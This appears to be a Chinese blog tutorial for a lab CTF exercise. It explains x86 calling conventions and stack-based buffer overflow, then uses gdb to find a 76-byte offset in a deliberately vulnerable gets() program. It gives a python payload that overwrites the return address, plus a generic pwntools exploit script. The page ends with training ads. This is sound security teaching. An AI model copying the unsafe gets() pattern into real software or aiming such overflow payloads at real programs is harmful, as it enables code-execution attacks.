CTF PWN练习之返回地址覆盖

今天进行的实验是CTF PWN练习之返回地址覆盖,来体验一下新的溢出方式。

学习地址覆盖之前还有些小知识需要掌握,不然做题的时候你肯定一脸懵逼,首先是函数调用约定,然后还要知道基本的缓冲区溢出攻击模型。

函数调用约定

函数调用约定描述了函数传递参数的方式和栈协同工作的技术细节,不同的函数调用约定原理基本相同,但在细节上是有差别的,包括函数参数的传递方式、参数的入栈顺序、函数返回时由谁来平衡堆栈扥。本实验中着重讲解C语言函数调用约定。

通过前面几个PWN系列实验的学习,我们可以发现在gdb中通过disas指令对main函数进行反汇编时,函数的开头和结尾的反汇编指令都是一样的:

push %ebp

mov %esp,%ebp

leave

ret

在函数大开头,首先是一条push %ebp指令,将ebp寄存器压入栈中,用于保存ebp寄存器的值,接着是mov
%esp,%ebp将esp寄存器的值传递给ebp寄存器;在函数的末尾,leave指令相当于mov %ebp,%esp和pop
%ebp两条指令,其作用刚好与开头的两条指令相反,即恢复esp和ebp寄存器的内容。

如果在函数A中调用了函数B,我们称函数A为主调函数,函数B为被调函数,如果函数B的声明为int B(int arg1, int arg2, int
arg3),那么函数A中的调用函数B时的汇编指令的形式如下:

push arg3

push arg2

push arg1

call B

连续三个push将函数的参数按照从右往左的顺序进行压栈,然后执行call
B来调用函数B。注意在gdb中看到的效果可能不是三个push,而是三个mov来对栈进行操作,这是因为Linux采用AT&T风格的汇编,而上面的指令使用的是Intel风格的汇编,比较容易理解。

call指令的内部细节为:将下一条指令的地址压入栈中,然后跳转到函数B去执行代码。这里说的call下一条指令的地址也就是通常所说的返回地址。函数B最后一条retn指令会从栈上弹出返回地址,并赋值给EIP寄存器,达到返回函数A继续执行的目的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X2ppbyw1-1690591997427)(https://image.3001.net/images/20210322/1616398871_60584a1734733e7521621.png!small)]

基本的缓冲区溢出攻击模型

基本的缓冲区溢出攻击通常是通过改写函数返回地址的形式来发起攻击的。如A调用B函数,正常情况下B函数返回时执行retn指令,从栈上取出返回地址跳转回A函数继续执行代码。而一旦返回地址被缓冲区溢出数据改写,那么我们就可以控制函数B跳转到指定的地方去执行代码了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gSgJtMv6-1690591997428)(https://image.3001.net/images/20210322/1616398871_60584a17c0aa517a0d32c.png!small)]

1. 实验内容和步骤

本文涉及相关实验:[《PWN练习之返回地址覆盖》](https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014110409173900001&pk_campaign=freebuf-
wemedia)。

做实验前先好好审题,看一下描述。

主机/home/test/5目录下有一个pwn5程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后不会产生任何输出信息并直接退出,然后当输入一定的数据量时,可能会提示
Segmentation fault
的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:

Congratulations, you pwned it.

请对pwn5程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出成功的提示信息。

使用cd /home/test/5切换到程序所在目录,执行cat pwn5.c即可看到源代码:

#include <stdio.h>

void win()

{

printf(“Congratulations, you pwned it.\n”);

}

int main(int argc, char** argv)

{

char buffer[64];

gets(buffer); // 存在缓冲区溢出

return 0;

}

程序定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写,当返回地址被改写为win函数的地址时,就可以输出成功提示的信息。

gets(buffer)这个溢出太明显了,问题就是不知道我们要输入多少位才能溢出。

执行gdb pwn5即可开始通过gdb对pwn5进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:

我们首先使用b *0x080483f8对main函数的第一条指令下一个断点,同时使用b
*0x08048408对gets函数的调用下一个断点,然后输入r命令运行程序,将会在第一个断点处断下,如下图所示:

headImg.action?news=c22021b3-9df2-4ce3-9d2c-a715d4eca654.png

这时候运行i r
$esp来查看esp寄存器的值,通过前面对函数调用约定的分析,我们知道这时候栈顶存储的就是返回地址,这时候esp寄存器的值为0xffffd6cc。

在gdb中输入c命令让程序继续执行,将在第二个断点断下,通过对汇编指令的分析,我们知道eax寄存器存储了buffer的起始地址,所以运行i r
$eax来查看buffer的地址:

headImg.action?news=99013fac-420f-4438-ac24-5ef7ee1ba589.png

我们看到eax寄存器的值为0xffffd680,那么这两个地址的差为76,如下图下图所示:

headImg.action?news=39a214e9-c1a3-49f6-b706-bbbbdd70a068.png

也就是说,在覆盖了76字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。

在gdb中执行disas win查看win函数的地址为0x080483e4,接下来就可以构造输入数据来发起溢出攻击了。

我们只要合理控制输入数据的第77~80字节的内容,就可以实现对函数返回地址进行覆盖,从而成功发起溢出攻击了。

现在win函数的地址为0x080483e4,转换为小端格式是’\xe4\x83\x04\x08’,那么可以构造这样的命令来进行溢出测试:

python -c “print ‘A’*76+‘\xe4\x83\x04\x08’” | ./pwn5

攻击效果如下图所示:

headImg.action?news=fde503c7-e89e-4654-88ba-927a42493016.png

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g0obQXBk-1690591997433)(C:\Users\Administrator\Desktop\网络安全资料图\微信截图_20230201105953.png)]

👉*网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

[外链图片转存中…(img-g0obQXBk-1690591997433)]

### CTF Pwn 题目解法与学习资源 CTF(Capture The Flag)比赛中的 Pwn 类型题目主要涉及二进制漏洞挖掘与利用,目标通常是通过发现并利用程序中存在的漏洞获取 shell 或读取 flag 文件。以下是关于 Pwn 题目解法的学习方向以及一些推荐的资源。 #### 1. 基础概念 Pwn 题目通常基于以下几种常见的漏洞类型: - **缓冲区溢出 (Buffer Overflow)**:攻击者可以通过覆盖返回地址或其他重要数据来控制程序执行流程[^1]。 - **格式化字符串漏洞 (Format String Vulnerability)**:允许攻击者读写内存中的特定位置[^4]。 - **堆溢出 (Heap Overflow)** 和 **UAF (Use After Free)**:这些漏洞发生在动态分配的内存管理上[^3]。 - **整数溢出 (Integer Overflow)** 和其他逻辑错误也可能被用来实现任意代码执行[^2]。 #### 2. 工具介绍 熟悉必要的工具对于解决 Pwn 题目至关重要: - **GDB/Pwntools/GEF**: GDB 是调试 Linux 程序的标准工具;Pwntools 提供了一个 Python 库用于快速开发 exploit 脚本;GEF 则是一个增强版插件,简化复杂操作。 - **ROPgadget/ropper**: 这些工具帮助寻找可用于 Return-Oriented Programming 的 gadget。 #### 3. 实战技巧 针对不同类型的漏洞有不同的应对策略: - 对于简单的 Buffer Overflow, 可尝试直接覆盖 EIP 并跳转至 shellcode 地址。 - 当存在 NX bit 保护时,则可能需要用到 ROP 技术绕过此限制。 - 如果遇到 ASLR 开启的情况,考虑泄露 libc 基址或者某些固定偏移量的信息以便计算所需地址。 #### 4. 推荐学习路径 初学者可以从基础环境搭建开始逐步深入理解各知识点: - 安装虚拟机运行靶场练习环境如 picoCTF、OverTheWire 等提供入门级挑战项目。 - 学习汇编语言基础知识尤其是 x86/x64 架构下的指令集。 - 练习编写基本的小型 C/C++ 程序并通过逆向工程掌握其内部工作机制。 - 尝试完成公开平台上的简单 Pwn 题目积累实战经验。 ```python from pwn import * context(arch='i386', os='linux') elf = ELF('./vuln') io = process(elf.path) payload = b'A' * cyclic_find(b'BAA') + pack(0xdeadbeef) io.sendline(payload) io.interactive() ``` 上述脚本展示了如何使用 `pwntools` 来构建 payload 攻击具有已知 offset 的 buffer overflow 漏洞的应用程序实例。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值